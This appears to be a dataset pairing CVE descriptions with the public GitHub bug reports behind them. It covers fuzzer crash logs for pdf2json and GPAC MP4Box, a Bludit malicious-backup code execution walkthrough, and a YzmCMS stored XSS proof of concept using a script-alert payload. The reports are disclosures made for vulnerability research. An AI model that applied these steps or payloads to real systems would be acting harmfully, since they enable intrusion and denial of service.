(in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x431C4C: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x431C95: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x431CBF: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Error: Unknown operator '������������������������������������' Error: Unknown operator '?������?�����?�����������0' Error: Unknown operator '�����������������?����?�' ==15436== Invalid write of size 8 ==15436== at 0x41C7A2: GfxState::restore() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x467BEB: Gfx::restoreState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A5AA: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40269A: main (pdf2json.cc:275) ==15436== Address 0xfdccfdb8fdb30035 is not stack'd, malloc'd or (recently) free'd ==15436== ==15436== ==15436== Process terminating with default action of signal 11 (SIGSEGV) ==15436== General Protection Fault ==15436== at 0x41C7A2: GfxState::restore() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x467BEB: Gfx::restoreState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A5AA: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40269A: main (pdf2json.cc:275) ==15436== ==15436== HEAP SUMMARY: ==15436== in use at exit: 211,954 bytes in 1,760 blocks ==15436== total heap usage: 2,027 allocs, 267 frees, 304,086 bytes allocated ==15436== ==15436== LEAK SUMMARY: ==15436== definitely lost: 760 bytes in 4 blocks ==15436== indirectly lost: 192 bytes in 5 blocks ==15436== possibly lost: 0 bytes in 0 blocks ==15436== still reachable: 211,002 bytes in 1,751 blocks ==15436== suppressed: 0 bytes in 0 blocks ==15436== Rerun with --leak-check=full to see details of leaked memory ==15436== ==15436== For counts of detected and suppressed errors, rerun with: -v ==15436== ERROR SUMMARY: 483 errors from 15 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV on CCITTFaxStream::lookChar

https://api.github.com/repos/flexpaper/pdf2json/issues/36/comments

2019-05-29T17:55:30Z

2019-05-29T17:55:30Z

https://github.com/flexpaper/pdf2json/issues/36

CVE-2020-19481

2021-07-21T18:15:08.920

An issue was discovered in GPAC before 0.8.0, as demonstrated by MP4Box. It contains an invalid memory read in gf_m2ts_process_pmt in media_tools/mpegts.c that can cause a denial of service via a crafted MP4 file.

https://github.com/gpac/gpac/issues/1265

github.com

Hi, Our fuzzer found a crash on MP4Box (the latest commit 987169b on master) due to an invalid read on function gf_m2ts_process_pmt (mpegts.c:2373). PoC: https://github.com/strongcourage/PoCs/blob/master/gpac_987169b/PoC_re_mpegts.c:2373 Command: MP4Box -info $PoC ASAN says: ~~~ /home/dungnguyen/gueb-testing/gpac-head/src/media_tools/mpegts.c:1655:25: runtime error: left shift of negative value -77 ~~~ Valgrind says: ~~~ ==22089== Invalid read of size 1 ==22089== at 0xBC1918: gf_m2ts_process_pmt (mpegts.c:2373) ==22089== by 0xBAD409: gf_m2ts_section_complete (mpegts.c:1610) ==22089== by 0xBAE791: gf_m2ts_gather_section.isra.14 (mpegts.c:1740) ==22089== by 0xBB8FFF: gf_m2ts_process_packet (mpegts.c:3446) ==22089== by 0xBB8FFF: gf_m2ts_process_data (mpegts.c:3507) ==22089== by 0xBD3B58: gf_m2ts_probe_file (mpegts.c:4641) ==22089== by 0xB9B594: gf_media_import (media_import.c:10998) ==22089== by 0x49B08B: convert_file_info (fileimport.c:124) ==22089== by 0x4621D5: mp4boxMain (main.c:4804) ==22089== by 0x57BC82F: (below main) (libc-start.c:291) ==22089== Address 0x5d8e773 is 29 bytes before a block of size 80 in arena "client" ~~~ Thanks, Manh Dung

Runtime error: left shift of negative value (mpegts.c:2373)

https://api.github.com/repos/gpac/gpac/issues/1265/comments

2019-07-05T23:46:25Z

2019-07-07T15:59:07Z

https://github.com/gpac/gpac/issues/1265

CVE-2020-19481

2021-07-21T18:15:08.920

An issue was discovered in GPAC before 0.8.0, as demonstrated by MP4Box. It contains an invalid memory read in gf_m2ts_process_pmt in media_tools/mpegts.c that can cause a denial of service via a crafted MP4 file.

https://github.com/gpac/gpac/issues/1266

github.com

Hi, Our fuzzer found a crash on MP4Box (the latest commit 987169b on master). PoC: https://github.com/strongcourage/PoCs/blob/master/gpac_987169b/PoC_re_mpegts.c:2236 Command: MP4Box -info $PoC ASAN says: ~~~ /home/dungnguyen/gueb-testing/gpac-head/src/media_tools/mpegts.c:3089:23: runtime error: left shift of 128 by 24 places cannot be represented in type 'int' ~~~ Valgrind says: ~~~ ==21951== Invalid read of size 1 ==21951== at 0xBC1380: gf_m2ts_process_pmt (mpegts.c:2236) ==21951== by 0xBAD409: gf_m2ts_section_complete (mpegts.c:1610) ==21951== by 0xBAE791: gf_m2ts_gather_section.isra.14 (mpegts.c:1740) ==21951== by 0xBB8FFF: gf_m2ts_process_packet (mpegts.c:3446) ==21951== by 0xBB8FFF: gf_m2ts_process_data (mpegts.c:3507) ==21951== by 0xBD3B58: gf_m2ts_probe_file (mpegts.c:4641) ==21951== by 0xB9B594: gf_media_import (media_import.c:10998) ==21951== by 0x49B08B: convert_file_info (fileimport.c:124) ==21951== by 0x4621D5: mp4boxMain (main.c:4804) ==21951== by 0x57BC82F: (below main) (libc-start.c:291) ==21951== Address 0x5d8c465 is 0 bytes after a block of size 5 alloc'd ==21951== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==21951== by 0xBAB2FA: gf_m2ts_section_complete (mpegts.c:1550) ==21951== by 0xBAE791: gf_m2ts_gather_section.isra.14 (mpegts.c:1740) ==21951== by 0xBB8FFF: gf_m2ts_process_packet (mpegts.c:3446) ==21951== by 0xBB8FFF: gf_m2ts_process_data (mpegts.c:3507) ==21951== by 0xBD3B58: gf_m2ts_probe_file (mpegts.c:4641) ==21951== by 0xB9B594: gf_media_import (media_import.c:10998) ==21951== by 0x49B08B: convert_file_info (fileimport.c:124) ==21951== by 0x4621D5: mp4boxMain (main.c:4804) ==21951== by 0x57BC82F: (below main) (libc-start.c:291) ~~~ Thanks, Manh Dung

Runtime error: left shift of 128 by 24 places cannot be represented in type 'int' (mpegts.c:2236)

https://api.github.com/repos/gpac/gpac/issues/1266/comments

2019-07-05T23:46:50Z

2019-07-07T15:58:17Z

https://github.com/gpac/gpac/issues/1266

CVE-2020-19481

2021-07-21T18:15:08.920

An issue was discovered in GPAC before 0.8.0, as demonstrated by MP4Box. It contains an invalid memory read in gf_m2ts_process_pmt in media_tools/mpegts.c that can cause a denial of service via a crafted MP4 file.

https://github.com/gpac/gpac/issues/1267

github.com

Hi, Our fuzzer found a crash on MP4Box (the latest commit 987169b on master). PoC: https://github.com/strongcourage/PoCs/blob/master/gpac_987169b/PoC_re_mpegts.c:2541 Command: MP4Box -info $PoC ASAN says: ~~~ Multiple different PAT on single TS found, ignoring new PAT declaration (table id 127 - extended table id 0) [MPEG-2 TS] Invalid PMT es descriptor size for PID 0 [MPEG-2 TS] PID 0 reused across programs 4096 and 19527, not completely supported /home/dungnguyen/gueb-testing/gpac-head/src/media_tools/mpegts.c:2541:9: runtime error: member access within null pointer of type 'GF_M2TS_ES *[8192]' ~~~ Valgrind says: ~~~ ==15789== Invalid read of size 4 ==15789== at 0xBC3CBC: gf_m2ts_process_pmt (mpegts.c:2541) ==15789== by 0xBAD409: gf_m2ts_section_complete (mpegts.c:1610) ==15789== by 0xBAE791: gf_m2ts_gather_section.isra.14 (mpegts.c:1740) ==15789== by 0xBB8FFF: gf_m2ts_process_packet (mpegts.c:3446) ==15789== by 0xBB8FFF: gf_m2ts_process_data (mpegts.c:3507) ==15789== by 0xBD3B58: gf_m2ts_probe_file (mpegts.c:4641) ==15789== by 0xB9B594: gf_media_import (media_import.c:10998) ==15789== by 0x49B08B: convert_file_info (fileimport.c:124) ==15789== by 0x4621D5: mp4boxMain (main.c:4804) ==15789== by 0x57BC82F: (below main) (libc-start.c:291) ==15789== Address 0x10 is not stack'd, malloc'd or (recently) free'd ~~~ Thanks, Manh Dung

Runtime error: member access within null pointer of type 'GF_M2TS_ES *[8192]' (mpegts.c:2541)

https://api.github.com/repos/gpac/gpac/issues/1267/comments

2019-07-05T23:55:18Z

2019-07-07T15:58:42Z

https://github.com/gpac/gpac/issues/1267

CVE-2020-19488

2021-07-21T18:15:08.957

An issue was discovered in box_code_apple.c:119 in Gpac MP4Box 0.8.0, allows attackers to cause a Denial of Service due to an invalid read on function ilst_item_Read.

https://github.com/gpac/gpac/issues/1263

github.com

Hi, Our fuzzer found a crash on MP4Box (the latest commit `987169b` on master) due to a null pointer dereference bug on function ilst_item_Read (box_code_apple.c:119). PoC: https://github.com/strongcourage/PoCs/blob/master/gpac_987169b/PoC_npd_ilst_item_Read Command: MP4Box -info $PoC ~~~ [iso file] Read Box type data (0x64617461) at position 32034 has size 0 but is not at root/file level, skipping ==18913== Invalid read of size 8 ==18913== at 0xF69508: ilst_item_Read (box_code_apple.c:119) ==18913== by 0x818970: gf_isom_box_read (box_funcs.c:1528) ==18913== by 0x818970: gf_isom_box_parse_ex (box_funcs.c:208) ==18913== by 0xF68BEA: ilst_Read (box_code_apple.c:47) ==18913== by 0x818970: gf_isom_box_read (box_funcs.c:1528) ==18913== by 0x818970: gf_isom_box_parse_ex (box_funcs.c:208) ==18913== by 0x819EEB: gf_isom_box_array_read_ex (box_funcs.c:1419) ==18913== by 0xFE4AC8: meta_Read (box_code_meta.c:128) ==18913== by 0x818970: gf_isom_box_read (box_funcs.c:1528) ==18913== by 0x818970: gf_isom_box_parse_ex (box_funcs.c:208) ==18913== by 0x819EEB: gf_isom_box_array_read_ex (box_funcs.c:1419) ==18913== by 0xFB433D: udta_Read (box_code_base.c:7998) ==18913== by 0x818970: gf_isom_box_read (box_funcs.c:1528) ==18913== by 0x818970: gf_isom_box_parse_ex (box_funcs.c:208) ==18913== by 0x819EEB: gf_isom_box_array_read_ex (box_funcs.c:1419) ==18913== by 0xF8F40C: moov_Read (box_code_base.c:3751) ==18913== Address 0x8 is not stack'd, malloc'd or (recently) free'd Segmentation fault ~~~ ASAN says: ~~~ [iso file] Read Box type data (0x64617461) at position 32034 has size 0 but is not at root/file level, skipping /home/dungnguyen/gueb-testing/gpac-head/src/isomedia/box_code_apple.c:119:26: runtime error: member access within null pointer of type 'struct GF_Box' ~~~ Thanks, Manh Dung

Runtime error: member access within null pointer of type 'struct GF_Box'

https://api.github.com/repos/gpac/gpac/issues/1263/comments

2019-07-05T22:47:55Z

2019-07-07T15:57:03Z

https://github.com/gpac/gpac/issues/1263

CVE-2021-25808

2021-07-23T20:15:08.080

A code injection vulnerability in backup/plugin.php of Bludit 3.13.1 allows attackers to execute arbitrary code via a crafted ZIP file.

https://github.com/bludit/bludit/issues/1298

github.com

Hi,I found a code execution vulnerability in Bludit v3.13.1 admin panel the path is bl-plugins/backup/plugin.php **1, Log in to the admin panel**  **2, Click the backups button**  **3, Making evil backup zip** First download a backup  then use this zip to modify Place phpinfo.php file in path 2021-01-05-16-20-03\uploads\pages   Package 2021-01-05-16-20-03 as evil.zip  Execute the script to generate the md5 for the .BLUDIT_BACKUP  **4, upload the evil backup zip**  **5, Click the restore backup button**  **6, Access the evil file bl-content/uploads/pages/phpinfo.php** 

Bludit v3.13.1 Code Execution Vulnerability in "Backups"

https://api.github.com/repos/bludit/bludit/issues/1298/comments

2021-01-05T10:41:41Z

2021-01-08T08:50:41Z

https://github.com/bludit/bludit/issues/1298

CVE-2020-19118

2021-07-30T14:15:13.497

Cross Site Scripting (XSS) vulnerabiity in YzmCMS 5.2 via the site_code parameter in admin/index/init.html.

https://github.com/yzmcms/yzmcms/issues/14

github.com

Because the data inputed by the user is not effectively filtered, so that attackers can inject javascript code into the HTML page for execution. Anyone who clicks on the page will trigger it The stored XXS vulnerability exists the admin/index/init.html POC: <script>alert('XSS!')</script>   Fix:Filter the site_code parameter

Stored XSS vulnerability in yzmcms v5.2

https://api.github.com/repos/yzmcms/yzmcms/issues/14/comments

2019-04-24T13:37:50Z

2019-04-24T13:42:17Z

https://github.com/yzmcms/yzmcms/issues/14

CVE-2020-22352

2021-08-04T21:15:08.033

The gf_dash_segmenter_probe_input function in GPAC v0.8 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command.

https://github.com/gpac/gpac/issues/1423

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ System info: Ubuntu 18.04.6 LTS, X64, gcc version 7.4.0, gpac (latest master 4a7a63) Compile Command: ```asm $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` Run Command: ```asm ./MP4Box -dash 1000 crash_3 ``` ASAN info: ```asm ================================================================= ==13768==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x562656a3daf0 bp 0x000000000001 sp 0x7ffee325fef0 T0) ==13768==The signal is caused by a READ memory access. ==13768==Hint: address points to the zero page. #0 0x562656a3daef in gf_dash_segmenter_probe_input media_tools/dash_segmenter.c:5264 #1 0x562656a6350a in gf_dasher_add_input media_tools/dash_segmenter.c:6669 #2 0x56265663ea6f in mp4boxMain /home/dr3dd/fuzzing/gpac/applications/mp4box/main.c:4704 #3 0x7fab411e9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x56265662d7a9 in _start (/home/dr3dd/fuzzing/gpac/bin/gcc/MP4Box+0x1657a9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV media_tools/dash_segmenter.c:5264 in gf_dash_segmenter_probe_input ==13768==ABORTING ``` gdb info: ```asm (gdb) r -dash 1000 ~/gpac_poc/crash_3 Starting program: /home/dr3dd/fuzzing/gpac/bin/gcc/MP4Box -dash 1000 ~/gpac_poc/crash_2 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0000555555bf408c in gf_dash_segmenter_probe_input (io_dash_inputs=io_dash_inputs@entry=0x5555562c4978, nb_dash_inputs=nb_dash_inputs@entry=0x5555562c4980, idx=idx@entry=0) at media_tools/dash_segmenter.c:5264 5264 if (esd && (esd->decoderConfig->objectTypeIndication == GPAC_OTI_VIDEO_HEVC || esd->decoderConfig->objectTypeIndication == GPAC_OTI_VIDEO_LHVC)) { (gdb) bt #0 0x0000555555bf408c in gf_dash_segmenter_probe_input (io_dash_inputs=io_dash_inputs@entry=0x5555562c4978, nb_dash_inputs=nb_dash_inputs@entry=0x5555562c4980, idx=idx@entry=0) at media_tools/dash_segmenter.c:5264 #1 0x0000555555c2dabb in gf_dasher_add_input (dasher=0x5555562c4970, input=<optimized out>) at media_tools/dash_segmenter.c:6669 #2 0x00005555555c88f5 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at main.c:4704 #3 0x00007ffff722bb97 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6 #4 0x00005555555a3e0a in _start () at main.c:5985 (gdb) ``` Here is crash file: [crash_3.zip](https://github.com/gpac/gpac/files/4272293/crash_3.zip) Thanks dr3dd

AddressSanitizer: NULL pointer dereference in media_tools/dash_segmenter.c:5264 in gf_dash_segmenter_probe_input

https://api.github.com/repos/gpac/gpac/issues/1423/comments

2020-03-01T19:19:26Z

2020-06-11T17:19:33Z

https://github.com/gpac/gpac/issues/1423

CVE-2020-24829

2021-08-04T21:15:08.077

An issue was discovered in GPAC v0.8.0, as demonstrated by MP4Box. It contains a heap-based buffer overflow in gf_m2ts_section_complete in media_tools/mpegts.c that can cause a denial of service (DOS) via a crafted MP4 file.

https://github.com/gpac/gpac/issues/1422

github.com

